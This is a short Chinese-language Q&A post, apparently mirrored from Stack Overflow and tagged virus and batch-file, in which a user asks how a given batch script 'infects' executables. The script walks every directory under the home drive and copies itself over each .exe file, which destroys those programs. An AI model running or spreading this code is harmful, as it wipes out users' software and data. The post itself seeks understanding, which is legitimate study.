小编Zac*_*ack的帖子

批处理文件感染命令说明

我知道下面的命令用于感染可执行文件。但我不知道它们究竟是如何工作的。有人可以向我解释一下吗?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 
Run Code Online (Sandbox Code Playgroud)

virus batch-file

3
推荐指数
1
解决办法
1559
查看次数

标签 统计

batch-file ×1

virus ×1